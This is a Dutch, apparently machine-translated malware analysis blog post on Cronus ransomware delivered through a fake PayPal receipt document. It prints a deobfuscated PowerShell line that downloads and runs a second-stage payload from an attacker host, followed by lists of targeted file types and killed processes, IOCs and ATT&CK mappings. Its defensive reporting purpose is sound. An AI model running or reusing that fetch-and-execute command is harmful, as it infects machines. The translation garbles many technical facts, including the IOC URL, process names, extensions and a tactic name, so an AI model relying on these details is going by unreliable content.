Seqrite Labs APT-Team heeft onlangs meerdere campagnes ontdekt die gebruikmaken van nep-PayPal-lokmiddelen. Deze campagnes richten zich op personen over de hele wereld met een nieuwe variant van ransomware, bekend als Cronus. In dit geval is de malware ontwikkeld in PowerShell en wordt deze direct in het geheugen uitgevoerd zonder schadelijke inhoud naar de schijf te schrijven.
In deze blog gaan we dieper in op de complexiteit en technische details van de campagne die we tijdens onze telemetrieanalyse zijn tegengekomen. We onderzoeken de verschillende fasen van deze campagne, te beginnen met de initiële documentpayload. Vervolgens extraheren en analyseren we het kwaadaardige VBA-script en tot slot bekijken we de PowerShell-payload die de ransomware uitvoert met behulp van reflectieve DLL-lading.
Eerste bevindingen
Op 14 juli 2024 ontdekte ons team een kwaadaardig document op VirusTotal , op basis van de zoekregels die we gebruiken voor bestanden die kwaadaardige ingebedde VBA-macro's bevatten.
Bij de eerste analyse bleek dat de kwaadaardige lokval een simpel ontvangstbewijs nabootste, genaamd paypal_charges.doc. Na het extraheren van de kwaadaardige macro's uit de schadelijke datastromen, ontdekten we dat de kwaadaardige VBA de tweede fase van de PowerShell-loader downloadde, genaamd 8eef4df388f2217caec3dc26.ps1 , die de ransomware-DLL laadde met behulp van de reflectieve laadtechniek.
Ransomwaregroepen, zoals NETWALKER en vele anderen, hebben deze techniek al eerder gebruikt om ransomware te verspreiden.
Infectieketen

Technische Analyse
We zullen de analyse opsplitsen in drie verschillende delen.
Initiële infectie – kwaadaardig document
We zagen aanvankelijk dat de eerste infectie werd veroorzaakt door een kwaadaardig Word-document, dat zich voornamelijk via een phishing-kanaal verspreidde. Daarom besloten we ons eerst te verdiepen in de inhoud van het lokaas voordat we ons verdiepten in de kwaadaardige macrostromen.

Het documentbestand toonde de volwassenheid van de aanvaller aan, aangezien het lokaas slechts een leeg Word-document is. Daarom besloten we ons te verdiepen in de kwaadaardige bronnen van dit schadelijke document en het snel te extraheren voor verdere analyse.


Nadat we hadden uitgezocht hoe de ingebedde macro's werken, ontdekten we dat ze zwaar verhuld zijn door overbodige opmerkingen en variabelenamen, wat de analyse bemoeilijkt. Daarom besloten we de VBA-macro te de-obfusceren, die er ongeveer zo uitziet.

//Gedecodeerde Base64-opdracht.
IEX (New-Object Net.WebClient).DownloadString(‘hxxps[:]//eternal[.]lol/file/8e53a3e023218a9b1ef9ba1ef3b5afd191a99156b77864558d/8eef4df388f2217caec3dc26[.]jpg’);
Het was duidelijk dat de macro powershell.exe gebruikte om een Base64-gecodeerde string als argument uit te voeren. Het decoderen van de inhoud onthulde dat er geprobeerd werd de payload van de tweede fase van een server te downloaden.
Tweede fase – Kwaadaardige PowerShell Loader
We zagen dat de bestandsextensie .JPEG is, terwijl het bestandstype een PowerShell-bestand is. Daarom besloten we snel de schadelijke PowerShell-loader te testen.

Zoals verwacht is de tweede fase goed verduisterd met ongewenste code, wat analyse bemoeilijkt. Daarom hebben we besloten het PowerShell-script handmatig te de-obfusceren door de ongewenste code te verwijderen en het patroon van de gebruikte ongewenste code te observeren om het voor analisten lastig te maken.
Het script wordt verduisterd door middel van drie lagen onzincode, die een reeks code bevat die er als volgt uitziet:
als ($a.ProcessName -zoals “junkcodesequenceone”){
….ongewenste code hier…..
….ongewenste code hier…..
….ongewenste code hier…..
}
als ($a.ProcessName -zoals “junkcodesequencetwo”){
….ongewenste code hier…..
….ongewenste code hier…..
….ongewenste code hier…..
}
..Echt Powershell-script…
als ($a.ProcessName -zoals “junkcodesequencethree”){
….ongewenste code hier…..
….ongewenste code hier…..
….ongewenste code hier…..
}


Als we de PowerShell-code bekijken, zien we dat het bestand arrays van twee bytes bevat met .NET-assemblies, die vervolgens met behulp van reflectief laden in het geheugen worden geladen. De laatste stap is het laden van de kwaadaardige .NET-assemblies die de ransomware bevatten .

Laatste fase – Kwaadaardige .NET-assembly
Laten we de kwaadaardige .NET-assembly's die we in de tweede fase hebben geëxtraheerd, eens bekijken. Na extractie hebben we de DLL's in de tool Detect-It-Easy (DIE) geladen om de .NET-assemblybestanden te identificeren die waren ingepakt of beveiligd.


We ontdekten dat de eerste .NET-assembly beveiligd was met .NET Reactor, dus besloten we deze uit te pakken en de assemblybestanden verder te onderzoeken met de dnSpy- tool voor een gedetailleerd overzicht van de code.

Na het uitpakken van het eerste DLL-bestand, TEStxx.dll, ontdekten we dat de geladen assembly verantwoordelijk is voor procesinjectie. In dit geval injecteert het het tweede uitvoerbare bestand, RegSvcs.exe, in het geheugen van een proces. Laten we daarom nu het tweede kwaadaardige .NET-uitvoerbare bestand onderzoeken.

Als we de Main-methode van dit uiteindelijke uitvoerbare bestand bekijken, zien we dat de code verschillende taken uitvoert die verband houden met ransomware-gedrag, zoals het wijzigen van de achtergrondafbeelding, het opsommen en versleutelen van specifieke bestanden en het beëindigen van actieve processen.

Daarnaast zien we methoden zoals TRIPLE_ENCRYPT , FULL_ENCRYPT , RECURSIVE_DIRECTORY_LOOK , EXCEPTIONAL_FILE en vele andere interessante. We zullen daarom enkele boeiende functionaliteiten van deze ransomware nader onderzoeken.
Zelfkopiëren
Het ransomwarebestand kopieert zichzelf naar C:\Users\<Gebruikersnaam>\AppData\Local . Als het bestand al bestaat of is gekopieerd, wordt het verwijderd. Zodra het naar de juiste locatie is gekopieerd, start het proces.

Opsomming
De ransomware voert een inventarisatie uit door eerst de lokale schijven te inventariseren en vervolgens de bestanden op die schijven te inventariseren. Ook worden specifieke mappen in de map \System\ gecontroleerd en uitgesloten. Daarna wordt een nieuwe taak aangemaakt voor een recursieve zoekactie in de mapstructuur.

Het richt zich op specifieke bestandstypen voor encryptie, die hieronder worden weergegeven:
| .mijnd | .ndf | .qry | .sdb | .sdf | .tmd | . Tgz |
| .lzo | . Txt | .jar | .dat | .contact | .instellingen | .doc |
| . Docx | .xls | . Xlsx | . Ppt | . Pptx | .odt | .jpg |
| .mka | .mhtml | .oqy | .png | . Csv | py | .sql |
| .indd | .cs | . Mp3 | . Mp4 | DWG | .zip | . Zelden |
| . Mov | . RTF | .bmp | .mkv | . Avi | . Apk | LNK |
| .dib | .Dec | .diff | .mdb | . Php | . Asp | . Aspx |
| . Html | . Htm | . Xml | .psd | .xla | .welp | |
| .dae | .divx | . Iso | .7zip | .pdb | . Ico | .pas |
| .db | .wmv | .swf | .cer | .bak | .backup | .accdb |
| .baai | .p7c | .exif | .vss | .raw | .m4a | . Wma |
| .ace | .arj | . Bz2 | . Cab | .gzip | .lzh | .teer |
| . Jpeg | .xz | . Mpeg | .torrent | . Mpg | .kern | .flv |
| .Ja | .som | .ibank | .portemonnee | . Css | . Js | .rb |
| .crt | .xlsm | .xlsb | . 7z | .cpp | .Java | .jpe |
| . Eerste | .blob | .wps | .doc | . Wav | .3gp | .gif |
| .log | gz | .config | .vb | .m1v | .sln | PST |
| OBJ | .xlam | .djvu | .incl | .cvs | dBF | .tbi |
| .wpd | .punt | .dotx | .webm | .m4v | .amv | .m4p |
| .svg | .ods | .bk | .vdi | . VMDK | .onepkg | .accde |
| .jsp | .json | .xltx | .vsdx | .uxdc | .udl | .3ds |
| .3fr | .3g2 | .accda | .accdc | .accdw | .adp | .ai |
| .ai3 | .ai4 | .ai5 | .ai6 | .ai7 | .ai8 | .arw |
| .ascx | ASM | .asmx | .avs | . Bin | .cfm | dbx |
| .dcm | .dcr | .foto | .rgbe | .dwt | .f4v | .exr |
| .kwm | .max | .mda | .mde | .mdf | .mdw | .met betrekking tot |
| .mpv | .bericht | .mijn | .nef | .odc | .geo | .snel |
| .odm | .odp | .vaak | .orf | .pfx | .p12 | .pl |
| .aub | .veilig | .tabblad | vbs | .xlk | .xlm | .xlt |
| .xltm | .svgz | .slk | .tar.gz | .dmg | .ps | .psb |
| .tif | .rss | .key | .vob | .epsp | .dc3 | .iff |
| .opt | .onetoc2 | .nrw | .pptm | .potx | .potm | .pot |
| .xlw | .xps | .xsd | .xsf | .xsl | .kmz | .accdr |
| .stm | .accdt | .ppam | .pps | .ppsm | .1cd | .p7b |
| .wdb | .sqlite | .sqlite3 | .dacpac | .zipx | .lzma | .z |
| .tar.xz | .pam | .r3d | .ova | .1c | .dt | .c |
| .vmx | .xhtml | .ckp | .db3 | .dbc | .dbs | .dbt |
| .dbv | .frm | .mwb | .mrg | .txz | .vbox | .wmf |
| WIM | .xtp2 | .xsn | .xslt |
Encryptie
De ransomware-binary gebruikt twee verschillende encryptiemethoden, afhankelijk van de bestandsgrootte. Voor bestanden kleiner dan 512 KB versleutelt de FULL_ENCRYPT-methode de bestanden in één keer. Voor bestanden groter dan 512 KB splitst de TRIPLE_ENCRYPT-methode de bestandsinhoud op in verschillende delen en versleutelt deze. Beide methoden gebruiken de AES-encryptiemethode om de bestanden te versleutelen.

Er wordt een klein EXCEPTIONAL_FILE-bestand toegevoegd, waarin de bovenstaande bestanden worden uitgesloten en versleuteld. Tijdens het versleutelen wordt ook een ransomware-bericht geplaatst met een bestand genaamd cronus.txt.

Beëindiging van het proces
De ransomware-binary beëindigt veel processen door het hoofdvenster te sluiten na het inventariseren van alle actieve processen. De lijst met processen die hierdoor worden beëindigd, is als volgt:
| sqlwriter | sqbcoreservice | VirtualBoxVM | sqlagent | sqlbrowser | sqlservr | code |
| stoom | zoolz | agntsvc | firefoxconfiguratie | infopath | synchronisatietijd | VBoxSVC |
| tbirdconfig | thebat | thebat64 | isqlplussvc | mijndesktopservice | mysqld | ocssd |
| OneNote | mspub | mijndesktopqos | CNTAoSMgr | Ntrtscan | vmspeler | orakel |
| vooruitzicht | Powerpnt | wps | xfssvccon | ProcesHacker | dbeng50 | dbsnmp |
| encsvc | uitmunten | luisteren | PccNTMon | mysqld-nt | mysqld-opt | ocautoupds |
| ocomm | MSAccess | msftesql | thunderbird | visio | WinWord | wordpad |
| mbamtray |
Nadat alle bovenstaande processen succesvol zijn beëindigd, roept het opnieuw de ALL_DRIVES- methode aan, die specifieke bestanden verder opsomt en versleutelt.
Volharding
Het ransomwareprogramma maakt misbruik van de bekende RunKeys voor persistentie, door een nieuwe sleutel met de naam cronus toe te voegen aan de bovengenoemde registerstructuur, waardoor het binaire bestand RegSvcs.exe bij het opstarten wordt uitgevoerd.

Gegevensmanipulatie
De ransomware inventariseert de inhoud van het klembord. Als het een bitcoinadres op het klembord vindt, vervangt het dit door het adres van de BTC-wallet van de aanvaller, dat wordt gebruikt om het losgeldbedrag te achterhalen.



In de losbrief wordt een BTC-walletadres genoemd, dat na onderzoek leeg blijkt te zijn.

Code overlapping
Na onderzoek en bestudering van een ander corpus met malware-voorbeelden kunnen we concluderen dat de code in de PowerShell-loader, de DLL Injector die in deze campagne wordt gebruikt, overlapt met andere actieve campagnes met fileless malware, zoals hieronder:
- Wraak RAT
- Pijl RAT
- Asynchrone RAT
- Andromeda RAT
- XWorm
- nRAT
Conclusie
We hebben ontdekt dat Cronus Ransomware, een fileless malwarevariant, erg nieuw is en zich actief verspreidt. De bovenstaande modus operandi is momenteel de belangrijkste manier om de ransomware op verschillende doelcomputers te installeren.
Seqrite Bescherming
- SCRIPT.Cronus.48939.GC
- OLE.Cronus.48940.GC
- Losgeld.Cronus
- Trojan.Injector
IOCs
| Hashes[SHA-256] | Bestandsnaam |
| 69b6bc4db69680118781e7a9f2580738088930fa04884755f23904fa19e638e3 | paypal_kosten.doc |
| 9ebf60ad31f0eb1fa303e0b00f9cc605c5013ea30771e6b14409cb70af7416cb | paypal_kosten.doc |
| afb95b1b2092020ed98312602c300f51daca14bb3d65503df3c5ca4776027987 | ~WRL003.tmp |
| 629587e592130b86418d17d6b8cc52b6f378f39f1b5e8caa4038cfa7120b2a53 | 8eef4df388f2217caec3dc26.ps1
|
| dd78c6dc62463aba24cdbea3968cbcc1c7b97a736ef069d99d6512b10c5e91f3 | TEStxx.dll |
| 42551531be1c5abfdd24a3465788c659a038141de61976787b0862664df95aad | p000.exe
|
| URL's |
| hxxps://eeuwig[.]lol/bestand/ |
MITRE ATT & CK
| Tactiek | Techniek-ID | Naam |
| Eerste toegang | T1566.001 | Phishing: Spear phishing Bijlage |
| Uitvoering | T1204.002
T1059.001 T1059.005 |
Uitvoering door gebruiker: kwaadaardig bestand
Opdracht- en scriptinterpreter: PowerShell Opdracht- en scriptinterpreter: Visual Basic |
| Volharding | T1547.001 | Register Run-sleutels / Opstartmap |
| verdediging ontduiking | T1027.010 T1620 T1055.012 |
Commando-verduistering Reflecterende code laden Uithollingsproces |
| De reis van mijn leven | T1057 T1083 |
Procesopsporing Bestands- en directorydetectie |
| Impact | T1486 T1491.001 T1565.002 |
Gegevens gecodeerd voor impact. Vernieling: Interne vernieling Gegevensmanipulatie: manipulatie van verzonden gegevens |
medewerkers
- Subhajeet Singha
- Sathwik Ram Prakki



